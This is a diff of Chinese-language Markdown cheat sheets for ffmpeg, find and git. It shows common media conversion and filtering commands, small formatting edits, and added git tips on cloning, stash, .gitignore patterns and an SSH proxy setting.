```
|
||||
|
||||
将输出文件的帧速率强制为 24 fps
|
||||
|
||||
```bash
|
||||
$ ffmpeg -r 1 -i input.m2v -r 24 output.avi
|
||||
```
|
||||
|
||||
将输入文件的帧速率(仅对原始格式有效)强制为 1 fps,将输出文件的帧速率强制为 24 fps
|
||||
|
||||
### H265 2-pass 编码
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```bash
|
||||
$ ffmpeg -y -i <input> -c:v libx265 -b:v 2600k \
|
||||
-x265-params pass=1 \
|
||||
-an -f mp4 /dev/null && \
|
||||
ffmpeg -i <input> \
|
||||
-c:v libx265 -b:v 2600k \
|
||||
-x265-params pass=2 \
|
||||
-c:a aac -b:a 128k output.mp4
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
对于 `H265 2-pass` 编码,您需要组合 `2` 个 `ffmpeg` 调用
|
||||
|
||||
### 视频比特率设置
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i input.avi -b:v 64k -bufsize 64k output.avi
|
||||
```
|
||||
|
||||
将输出文件的视频比特率设置为 64 kbit/s
|
||||
|
||||
### 固定旋转
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i <input> -c copy -metadata:s:v:0 rotate=90 <output>
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
不要为旋转重新编码,而是简单地为旋转角度添加一个视频元数据字段
|
||||
|
||||
### 缩放到特定宽度
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i in.mp4 -filter:v scale="538:trunc(ow/a/2)*2" -c:a copy out.mp4
|
||||
```
|
||||
|
||||
给定所需的视频宽度,例如 538 像素,您可以使用以下方法将视频调整为该宽度,同时保持宽高比
|
||||
|
||||
重新包装
|
||||
---
|
||||
|
||||
### 提取音频流
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i file.mp4 -vn -c copy output.aac
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
`-vn` (过滤视频),使用 `-c copy`,不会重新解码和编码,加快速度。
|
||||
|
||||
### 提取视频流
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i file.mp4 -an -c copy output.mp4
|
||||
```
|
||||
|
||||
### 处理 id3 标签
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
提取
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i file.mp3 -f ffmetadata metadata.txt
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
设置
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i file.mp3 -acodec copy -metadata title="<title>" -metadata artist="<artist>" -metadata album="<album>" out.mp3
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
更多[请查看](https://gist.github.com/eyecatchup/0757b3d8b989fe433979db2ea7d95a01)
|
||||
|
||||
### 重新采样/转换音频
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i file.aac -acodec mp3 -ar 44100 -ab 128000 output.mp3
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 将输入文件转码为 DVD PAL 格式
|
||||
|
||||
```bash
|
||||
$ ffmpeg -y -threads 8 -i inFile -target pal-dvd -ac 2 -aspect 16:9 -acodec mp2 -ab 224000 -vf pad=0:0:0:0 outFile
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### -map 命令
|
||||
<!--rehype:wrap-class=col-span-2 row-span-2-->
|
||||
|
||||
`-map` 命令用于指定索引文件,以及索引文件中流类型和它的索引
|
||||
|
||||
----
|
||||
|
||||
```bash
|
||||
-map index:stram_type:stream_index
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`input_file_index` | 输入的文件索引(从 0 开始)
|
||||
`stream_type` | 指定文件流的类型(a -> 音频,v -> 视频,s -> 字幕)
|
||||
`stream_index` | 指定流类型的索引(从 0 开始)
|
||||
|
||||
将第一个输入文件的第二个音频拷贝到 out.mp3
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i input.mp4 -map 0:a:1 -c copy out.mp3
|
||||
```
|
||||
|
||||
将第一个输入文件的视频流和第二个输入文件的音频流拷贝到 out.mp4
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i i1.mp4 -i i2.mp4 -map 0:v -map 0:a -c copy out.mp4
|
||||
```
|
||||
|
||||
#### 反向 -map 命令
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
反向的 map 命令(在 map 命令的参数前加负号)。例如,`-map -0:a:0`,忽略第一个文件中的第一个音频流。
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 切换容器(转换类型)
|
||||
|
||||
将容器从 `MKV` 更改为 `MP4`
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i file.mkv -acodec copy -vcodec copy file.mp4
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
要将视频从 `.mov` 更改为 `.mp4`
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i in.mov out.mp4
|
||||
```
|
||||
|
||||
### 音视频同步
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
将音频延迟 3 秒
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i input.mov -itsoffset 3 -i input.mov -map 0:v -map 1:a -codec:a copy -codec:v copy output.mov
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
将视频延迟 3 秒(即将音频提前 3 秒)
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i input.mov -itsoffset 3 -i input.mov -map 1:v -map 0:a -codec:a copy -codec:v copy output.mov
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 图片中的视频
|
||||
|
||||
```bash
|
||||
$ ffmpeg -f image2 -i image%d.jpg video.mp4
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
多个编号的图像 image1.jpg、image2.jpg... 像这样从它们创建一个视频
|
||||
|
||||
### 将视频拆分为图像
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i video.mp4 image%d.jpg
|
||||
```
|
||||
|
||||
### 录屏
|
||||
<!--rehype:wrap-class=col-span-2 row-span-2-->
|
||||
|
||||
#### 查找所有可用设备
|
||||
|
||||
```bash
|
||||
$ ffmpeg -f avfoundation -list_devices true -i ""
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
<span style="color:red">一定要选择好设备,根据设备进行配置。</sapn>
|
||||
|
||||
#### windows 下录屏
|
||||
|
||||
```bash
|
||||
$ ffmpeg -hide_banner -loglevel error -stats -f gdigrab -framerate 60 \
|
||||
-offset_x 0 -offset_y 0 -video_size 1920x1080 -draw_mouse 1 -i deskop \
|
||||
-c:v libx264 -r 60 -preset ultrafast -pix_fmt yuv420p -y screen_record.mp4
|
||||
```
|
||||
|
||||
#### mac 下录屏
|
||||
|
||||
```bash
|
||||
$ ffmpeg -f avfoundation -i 1:0 -preset ultrafast out.mkv
|
||||
```
|
||||
|
||||
### 合并音频与图片
|
||||
|
||||
合并多个音频,自定义背景图片,生成视频音乐
|
||||
|
||||
```bash
|
||||
# mylist.txt >>>
|
||||
file '1.mp3'
|
||||
file '2.mp3'
|
||||
file '3.mp3'
|
||||
|
||||
# OBS: 46500 = 25:50 minutes * 60 * 30fps
|
||||
# echo "00:25:50" | awk -F: '{ print (($1 * 3600) + ($2 * 60) + $3) * 30 }'
|
||||
$ ffmpeg -y -loop 1 -i cover.jpg -f concat -i mylist.txt -c:v libx264 -r 30 -pix_fmt yuv420p -vframes 46500 -c:a aac -b:a 192k -strict experimental -shortest output.mp4
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 转换为 Gif
|
||||
<!--rehype:wrap-class=col-span-2 row-span-3-->
|
||||
|
||||
```bash
|
||||
$ ffmpeg -ss 2 -t 28 -i input.mp4 -vf "fps=10,scale=1080:-1:flags=lanczos,split[s0][s1];[s0]palettegen[p];[s1][p]paletteuse" -loop 0 output.gif
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
上面有关更多信息,请参阅 [StackOverflow 问题](https://superuser.com/a/556031)
|
||||
|
||||
```bash
|
||||
# 转换为 GIF
|
||||
$ ffmpeg -i input.mov output.gif
|
||||
# 从 GIF 转换
|
||||
$ ffmpeg -i input.gif output.mov
|
||||
# 在非 GIF 格式之间转换
|
||||
$ ffmpeg -i input.mov -codec:v copy -codec:a copy output.mp4
|
||||
```
|
||||
|
||||
### 转换为灰度
|
||||
|
||||
```bash
|
||||
$ ffmpeg -y -i inFile -flags gray outFile
|
||||
```
|
||||
|
||||
### 字幕格式转换
|
||||
|
||||
```bash
|
||||
# srt -> ass
|
||||
$ ffmpeg -i subtitle.srt subtitle.ass
|
||||
# ass -> vtt
|
||||
$ ffmpeg -i subtitle.ass subtitle.vtt
|
||||
```
|
||||
|
||||
srt、ass、vtt 等格式之间可以相互转换
|
||||
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 字幕
|
||||
<!--rehype:wrap-class=col-span-2 row-span-2-->
|
||||
|
||||
将字幕写入视频
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i input.mov -filter:v 'subtitles=subtitles.srt' -codec:a copy output.mov
|
||||
```
|
||||
|
||||
将字幕写入视频,具有自定义字幕样式
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i input.mov -filter:v "subtitles=subtitles.srt:force_style='FontName=Menlo Bold,Fontsize=18'" -codec:a copy output.mov
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 制造 1 分钟的音频噪音
|
||||
|
||||
```bash
|
||||
$ ffmpeg -ar 48000 -t 60 -f s16le -acodec pcm_s16le -i /dev/urandom -ab 64K -f mp2 -acodec mp2 -y noise.mp2
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 从视频中提取图像
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i foo.avi -r 1 -s WxH -f image2 outFile%03d.png
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 音量
|
||||
<!--rehype:wrap-class=col-span-2 row-span-2-->
|
||||
|
||||
将音量减半
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i input.mov -codec:v copy -filter:a 'volume=0.5' output.mov
|
||||
```
|
||||
|
||||
音量加倍
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i input.mov -codec:v copy -filter:a 'volume=2' output.mov
|
||||
```
|
||||
|
||||
### 将图像文件转换为其他格式
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i foo0122.png foo.tiff
|
||||
```
|
||||
|
||||
pgm, ppm, pam, pgmyuv, jpeg, gif, png, tiff, sgi
|
||||
|
||||
### 将图像转换为 AVI 文件
|
||||
|
||||
```bash
|
||||
$ ffmpeg -f image2 -i foo-%03d.jpeg -r 12 -s WxH foo.avi
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 将 WAV 文件转换为 MP3
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i source_song.wav -vn -ar 44100 -ac 2 -ab 192 -f mp3 final_song.mp3
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 从视频中提取音频,将其转码为 MP3
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i source.avi -vn -ar 44100 -ac 2 -ab 192 -f mp3 sound.mp3
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 将 .avi 转换为 .flv
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i source.avi -ab 56 -ar 44100 -b 200 -r 15 -s 320x240 -f flv output.flv
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 将图片附加到 mp3
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i input.mp3 -i cover.png -c copy -metadata:s:v title="Album cover" -metadata:s:v comment="Cover (Front)" out.mp3
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 将视频与声音文件混合
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i song.wav -i source_video.avi outvideo.mpg
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 编写带有 ID3v2.3 页眉和 ID3v1 页脚的 mp3
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i inFile -id3v2_version 3 -write_id3v1 1 outFile.mp3
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 连接输入文件
|
||||
|
||||
```bash
|
||||
$ cat inFile1 inFile2 | ffmpeg -f mpeg -i - -vcodec copy -acodec copy outFile.mpg
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 使用比特率和 mp3 音频的编解码器对剪辑进行编码
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i clip.avi -vcodec libxvid -b 800000 -acodec libmp3lame -ab 128 new-clip.avi
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 将音频流与来自不同文件的视频流合并
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i audioS.mp4 -i videoS.mp4 -c copy -map 0:a -map 1:v outFile.mp4
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 合并视频
|
||||
|
||||
<!--rehype:wrap-class=col-span-3 row-span-3-->
|
||||
|
||||
合并相同规格(解码/分辨率/帧率)视频
|
||||
|
||||
```bash
|
||||
# mylist.txt >>>
|
||||
file '1.mp4'
|
||||
file '2.mp4'
|
||||
file '3.mp4'
|
||||
|
||||
# 这些文件是相对路径,如使用绝对路径需要添加 `-safe 0` 参数
|
||||
$ ffmpeg -f concat -i mylist.txt -c copy output.mp4
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
合并当前目录下所有视频
|
||||
|
||||
```bash
|
||||
$ ffmpeg -f concat -safe 0 -i <(for f in ./*.mp4; do echo "file '$PWD/$f'"; done) -c copy output.mp4
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
合并不同规格视频,保证视频不变形
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i 1.mp4 -c copy -bsf:v h264_mp4toannexb -f mpegts tmp1.ts
|
||||
$ ffmpeg -i 2.mp4 -c copy -bsf:v h264_mp4toannexb -f mpegts tmp2.ts
|
||||
$ ffmpeg -i 3.mp4 -c copy -bsf:v h264_mp4toannexb -f mpegts tmp3.ts
|
||||
|
||||
$ ffmpeg -threads 2 -i "concat:tmp1.ts|tmp2.ts|tmp3.ts" -vf "scale=720:1080:force_original_aspect_ratio=decrease,pad=720:1080:(ow-iw)/2:(oh-ih)/2" -pix_fmt yuvj420p -shortest -y output.mp4
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
合并不同解码视频
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i input1.mp4 -i input2.webm -i input3.mov \
|
||||
-filter_complex "[0:v:0][0:a:0][1:v:0][1:a:0][2:v:0][2:a:0]concat=n=3:v=1:a=1[outv][outa]" \
|
||||
-map "[outv]" -map "[outa]" output.mkv
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
合并视频并重新编码音频
|
||||
|
||||
```bash
|
||||
$ ffmpeg -f concat -i mylist.txt -c:v copy -c:a flac -strict -2 output.mp4
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
视频过滤器
|
||||
---
|
||||
|
||||
### 格式
|
||||
|
||||
如果一个 fliter 有多个参数,需要使用 `,` 分隔
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i test.avi -c:v libx264 -vf "scale=1024:-1,transpose=1,crop=iw/3:ih/3" output.mp4
|
||||
```
|
||||
|
||||
### 缩放
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i input.mp4 -vf "scale=640:480" out.mp4
|
||||
# -1 → 指根据另一个参数帮我们推断
|
||||
$ ffmpeg -i input.mp4 -vf "scale=720:-1" out.mp4
|
||||
# 宽度和高度
|
||||
ffmpeg -i input.mp4 -vf "scale=w=800:h=600" output.mp4
|
||||
# in_w\in_h 输入尺寸
|
||||
ffmpeg -i input.mkv -vf "scale=w=1/2*in_w:h=1/2*in_h" output.mkv
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 裁剪
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
从左上角开始,复制 `x=0px` `y=0px` 的相应窗口来创建 `1280x720` 大小的输出视频
|
||||
|
||||
```bash
|
||||
ffmpeg -i input.mp4 -vf "crop=w=1280:h=720:x=0:y=0" output.mp4
|
||||
```
|
||||
|
||||
裁剪到宽度 360,高度 640,从坐标 (10, 20) 开始
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i input.mov -vf 'crop=360:640:10:20' output.mov
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 去除水印
|
||||
|
||||
设置一个矩形覆盖区域 x=10:y=10:w=120:h=45
|
||||
|
||||
```bash
|
||||
# show=1 为可选参数,设置显示边框,方便调试用的
|
||||
ffmpeg -i 1.mp4 -b:v 548k -vf delogo=x=10:y=10:w=120:h=45:show=1 output.mp4
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 创建缩略图
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
在 10 秒时创建一个缩略图
|
||||
|
||||
```bash
|
||||
$ ffmpeg -ss 10 -i <input file> -vframes 1 -vcodec png -an thumb.png
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
例如,要每 `n` 秒创建一次缩略图,请使用 `-vf fps=1/n`
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i <input file> -vf fps=1/60 thumbnails/thumb%03d.png
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 添加水印
|
||||
|
||||
在视频左上方 20,20 的位置插入 logo.png 图片
|
||||
|
||||
```bash
|
||||
# -b:v 548k 可选参数,设置视频比特率,默认 200k 最好设置与原视频一致
|
||||
ffmpeg -i 1.mp4 -acodec copy -b:v 548k -vf "movie=logo.png[watermark];[in][watermark]overlay=20:20" output.mp4
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 视频旋转
|
||||
|
||||
```bash
|
||||
# 顺时针旋转 90
|
||||
$ ffmpeg -i input.avi -vf "rotate=90*PI/180" out.mp4
|
||||
# 顺时针旋转 180,翻转 90
|
||||
$ ffmpeg -i input.mp4 -vf "rotate=PI" out.mp4
|
||||
```
|
||||
|
||||
### 更改视频播放速度
|
||||
|
||||
```bash
|
||||
# 加速 2 倍
|
||||
$ ffmpeg -i input.mkv -vf "setpts=0.5*PTS" output.mkv
|
||||
# 减速 2 倍
|
||||
$ ffmpeg -i input.mp4 -vf "setpts=2*PTS" output.mp4
|
||||
```
|
||||
|
||||
### 添加背景音乐
|
||||
|
||||
```bash
|
||||
# -t 10 文件时长,单位为秒,建议取值原始视频总时长
|
||||
$ ffmpeg -i 1.mp4 -i test.mp3 \
|
||||
-filter_complex "[1:a]aloop=loop=-1:size=2e+09[out];[out][0:a]amix" \
|
||||
-t 10 out.mp4
|
||||
```
|
||||
|
||||
音频过滤器
|
||||
---
|
||||
|
||||
### 调节音量
|
||||
|
||||
```bash
|
||||
# 增大音量
|
||||
$ ffmpeg -i test.mp4 -af "volumn=1.5" out.mp4
|
||||
```
|
||||
|
||||
### 更改音频速度
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i input.wav -af "atempo=0.75" output.wav
|
||||
# 加速 4 倍
|
||||
$ ffmpeg -i input.mp3 -af "atempo=2.0,atempo=2.0" ouutput.mp3
|
||||
```
|
||||
|
||||
`atempo` 它只接受 `0.5`(半速) 到 `2` (倍速)之间的值。为了越过这个限制,你可以链式使用这个过滤器
|
||||
|
||||
### 统一视频的音量
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i test.mp4 -af "loudnorm=I=-5:LRA=1" out.mp4
|
||||
```
|
||||
|
||||
### 重新映射通道数
|
||||
|
||||
```bash
|
||||
# 使左右耳的声音同时出现
|
||||
$ ffmpeg -i input.mp3 -af "channelmap=1-0|1-1" output.mp3
|
||||
```
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [FFmpeg 官网地址](https://ffmpeg.org/) _(ffmpeg.org)_
|
||||
- [FFmpeg Cheat Sheet](https://lzone.de/cheat-sheet/ffmpeg) _(lzone.de)_
|
||||
- [FFmpeg Cheat Sheet](https://devhints.io/ffmpeg) _(devhints.io)_
|
||||
- [FFmpeg Cheat Sheet](https://github.com/yuanqing/ffmpeg-cheatsheet) _(github.com)_
|
||||
- [FFmpeg Cheat Sheet](https://cheatography.com/thetartankilt/cheat-sheets/ffmpeg/) _(cheatography.com)_
|
@ -39,7 +39,6 @@ $ find . -name "json_*"
|
||||
| `-mindepth` | find / -mindepth 3 -maxdepth 5 -name pass | 在子目录级别 2 和 4 之间 |
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
|
||||
### 类型
|
||||
|
||||
| | |
|
||||
@ -224,7 +223,6 @@ $ find . -type d -empty
|
||||
$ find . -type f -empty -delete
|
||||
```
|
||||
|
||||
|
||||
查找日期和时间
|
||||
-------------
|
||||
|
||||
|
521
docs/git.md
521
docs/git.md
@ -1,7 +1,7 @@
|
||||
Git 备忘清单
|
||||
===
|
||||
|
||||
本备忘单总结了常用的 Git 命令行指令,以供快速参考。
|
||||
本备忘单总结了常用的 [Git](https://git-scm.com/) 命令行指令,以供快速参考。
|
||||
|
||||
入门
|
||||
----
|
||||
@ -11,23 +11,29 @@ Git 备忘清单
|
||||
创建一个新的本地存储库
|
||||
|
||||
```shell
|
||||
$ git init [project name]
|
||||
$ git init [项目名称]
|
||||
```
|
||||
|
||||
克隆存储库
|
||||
克隆存储库(代码仓库)
|
||||
|
||||
```shell
|
||||
$ git clone git_url
|
||||
$ git clone <git_url>
|
||||
```
|
||||
|
||||
将存储库克隆到指定目录
|
||||
|
||||
```shell
|
||||
$ git clone git_url 指定目录
|
||||
$ git clone <git_url> 指定目录
|
||||
```
|
||||
|
||||
将存储库克隆到指定目录,并指定分支
|
||||
|
||||
```shell
|
||||
$ git clone <git_url> -b <分支名称> 指定目录
|
||||
```
|
||||
|
||||
### 做出改变
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
在工作目录中**显示**修改后的文件,为您的下一次提交暂存
|
||||
|
||||
@ -89,8 +95,8 @@ $ git diff --staged
|
||||
$ git rebase [branch]
|
||||
```
|
||||
|
||||
|
||||
### 配置
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
设置将附加到您的提交和标签的名称
|
||||
|
||||
@ -116,7 +122,20 @@ $ git config --global color.ui auto
|
||||
$ git config --global --edit
|
||||
```
|
||||
|
||||
显示本地 `repo` 配置设置
|
||||
|
||||
```shell
|
||||
$ git config --list
|
||||
```
|
||||
|
||||
删除全局设置
|
||||
|
||||
```bash
|
||||
$ git config --global --unset <entry-name>
|
||||
```
|
||||
|
||||
### 使用分支
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
列出所有本地分支
|
||||
|
||||
@ -130,25 +149,25 @@ $ git branch
|
||||
$ git branch -av
|
||||
```
|
||||
|
||||
切换到 my_branch,并更新工作目录
|
||||
切换到 `my_branch`,并更新工作目录
|
||||
|
||||
```shell
|
||||
$ git checkout my_branch
|
||||
```
|
||||
|
||||
创建一个名为 new_branch 的新分支
|
||||
创建一个名为 `new_branch` 的新分支
|
||||
|
||||
```shell
|
||||
$ git checkout -b new_branch
|
||||
```
|
||||
|
||||
删除名为 my_branch 的分支
|
||||
删除名为 `my_branch` 的分支
|
||||
|
||||
```shell
|
||||
$ git branch -d my_branch
|
||||
```
|
||||
|
||||
将分支 A 合并到分支 B
|
||||
将分支 `A` 合并到分支 `B`
|
||||
|
||||
```shell
|
||||
$ git checkout branchB
|
||||
@ -161,7 +180,32 @@ $ git merge branchA
|
||||
$ git tag my_tag
|
||||
```
|
||||
|
||||
从远程分支中创建并切换到本地分支
|
||||
|
||||
```shell
|
||||
$ git checkout -b <branch-name> origin/<branch-name>
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 临时提交
|
||||
|
||||
```shell
|
||||
# 保存已修改和分阶段的更改
|
||||
$ git stash
|
||||
# 列出隐藏文件更改的堆栈顺序
|
||||
$ git stash list
|
||||
# 从存储堆栈顶部编写工作
|
||||
$ git stash pop
|
||||
# 丢弃存储堆栈顶部的更改
|
||||
$ git stash drop
|
||||
# 回到某个 stash 的状态
|
||||
$ git stash apply <stash@{n}>
|
||||
# 删除所有的 stash
|
||||
$ git stash clear
|
||||
```
|
||||
|
||||
### 观察你的存储库
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
显示当前活动分支的提交历史
|
||||
|
||||
@ -193,7 +237,70 @@ $ git diff branchB...branchA
|
||||
$ git show [SHA]
|
||||
```
|
||||
|
||||
### 忽略文件
|
||||
<!--rehype:wrap-class=row-span-4-->
|
||||
|
||||
文件 `.gitignore` 指定了 `Git` 应该忽略的 **未跟踪的** 文件
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
行首 `#` | 全行注释,不支持行尾类注释 _(转义 `\#`)_
|
||||
行首 **`!`** | 否定模式 _(转义 `\!`)_
|
||||
`**` | 匹配任意路径
|
||||
`*` | 匹配任意多个字符
|
||||
`?` | 匹配任意一个字符
|
||||
`doc/**` | 匹配 `doc` 文件夹下的全部内容
|
||||
`doc/**/a` | 匹配任意深度路径下的 `a` 文件或文件夹
|
||||
`/` | 表示路径分隔符,不区分操作系统
|
||||
`/` 结尾 | 仅会匹配文件夹,否则会匹配文件和文件夹
|
||||
空行 | 不匹配任何文件
|
||||
行尾空格 | 默认被忽略,可使用`\`进行转义
|
||||
行首空格 | 被正常处理,不会被忽略
|
||||
|
||||
当前 `.gitignore` 文件定义规则的优先级高于上级路径 `.gitignore` 定义规则的优先级;后定义的规则优先级高于前面定义规则的优先级
|
||||
|
||||
```gitignore showLineNumbers
|
||||
# 忽略当前目录logs文件夹下的全部内容
|
||||
/logs/
|
||||
/logs/*
|
||||
/logs/**
|
||||
# 上述几条规则等效
|
||||
|
||||
# 忽略 Mac 系统文件,包括任意子路径下的同名文件(夹)
|
||||
.DS_store
|
||||
|
||||
# 忽略 node_modules 文件夹,包括任意子路径下的同名文件夹
|
||||
node_modules/
|
||||
|
||||
# 忽略任意子路径下build、target文件夹,
|
||||
# 但不忽略src/main、src/test下的build、target文件夹
|
||||
build/
|
||||
!**/src/main/**/build/
|
||||
!**/src/test/**/build/
|
||||
target/
|
||||
!**/src/main/**/target/
|
||||
!**/src/test/**/target/
|
||||
|
||||
# 使用 ! 重新包含指定文件(夹)
|
||||
!logs/.gitkeep
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 重构文件名
|
||||
|
||||
```bash
|
||||
# 从工作目录中删除文件并暂存删除
|
||||
git rm <filename>
|
||||
|
||||
# 从版本控制中删除文件但在本地保留文件
|
||||
git rm --cached <filename>
|
||||
|
||||
# 更改文件名并准备提交
|
||||
git mv <filename-orig> <filename-renamed>
|
||||
```
|
||||
|
||||
### 同步
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
从该 Git 远程获取所有分支
|
||||
|
||||
@ -230,6 +337,7 @@ $ git cherry-pick [commit_id]
|
||||
```
|
||||
|
||||
### 远程
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
添加一个 git URL 作为别名
|
||||
|
||||
@ -261,32 +369,6 @@ $ git remote rm [remote repo name]
|
||||
$ git remote set-url origin [git_url]
|
||||
```
|
||||
|
||||
### 临时提交
|
||||
|
||||
保存已修改和分阶段的更改
|
||||
|
||||
```shell
|
||||
$ git stash
|
||||
```
|
||||
|
||||
列出隐藏文件更改的堆栈顺序
|
||||
|
||||
```shell
|
||||
$ git stash list
|
||||
```
|
||||
|
||||
从存储堆栈顶部编写工作
|
||||
|
||||
```shell
|
||||
$ git stash pop
|
||||
```
|
||||
|
||||
丢弃存储堆栈顶部的更改
|
||||
|
||||
```shell
|
||||
$ git stash drop
|
||||
```
|
||||
|
||||
### 跟踪路径更改
|
||||
|
||||
从项目中删除文件并暂存删除以进行提交
|
||||
@ -307,21 +389,19 @@ $ git mv [existing-path] [new-path]
|
||||
$ git log --stat -M
|
||||
```
|
||||
|
||||
### 忽略文件
|
||||
### git 配置 ssh 代理
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```gitignore
|
||||
/logs/*
|
||||
# “!” 意思是不要忽视
|
||||
!logs/.gitkeep
|
||||
# 忽略 Mac 系统文件
|
||||
.DS_store
|
||||
# 忽略 node_modules 文件夹
|
||||
node_modules
|
||||
# 忽略 SASS 配置文件
|
||||
.sass-cache
|
||||
```bash
|
||||
$ cat ~/.ssh/config
|
||||
Host gitlab.com
|
||||
# 直接使用 shadowsocks 提供的 socks5 代理端口
|
||||
ProxyCommand nc -X 5 -x 127.0.0.1:1080 %h %p
|
||||
|
||||
Host github.com
|
||||
ProxyCommand nc -X 5 -x 127.0.0.1:1080 %h %p
|
||||
```
|
||||
|
||||
`.gitignore` 文件指定了 Git 应该忽略的未跟踪的文件
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
Git 技巧
|
||||
------
|
||||
@ -329,15 +409,20 @@ Git 技巧
|
||||
### 重命名分支
|
||||
|
||||
- **重命名**为`new`
|
||||
|
||||
```shell
|
||||
$ git branch -m <new>
|
||||
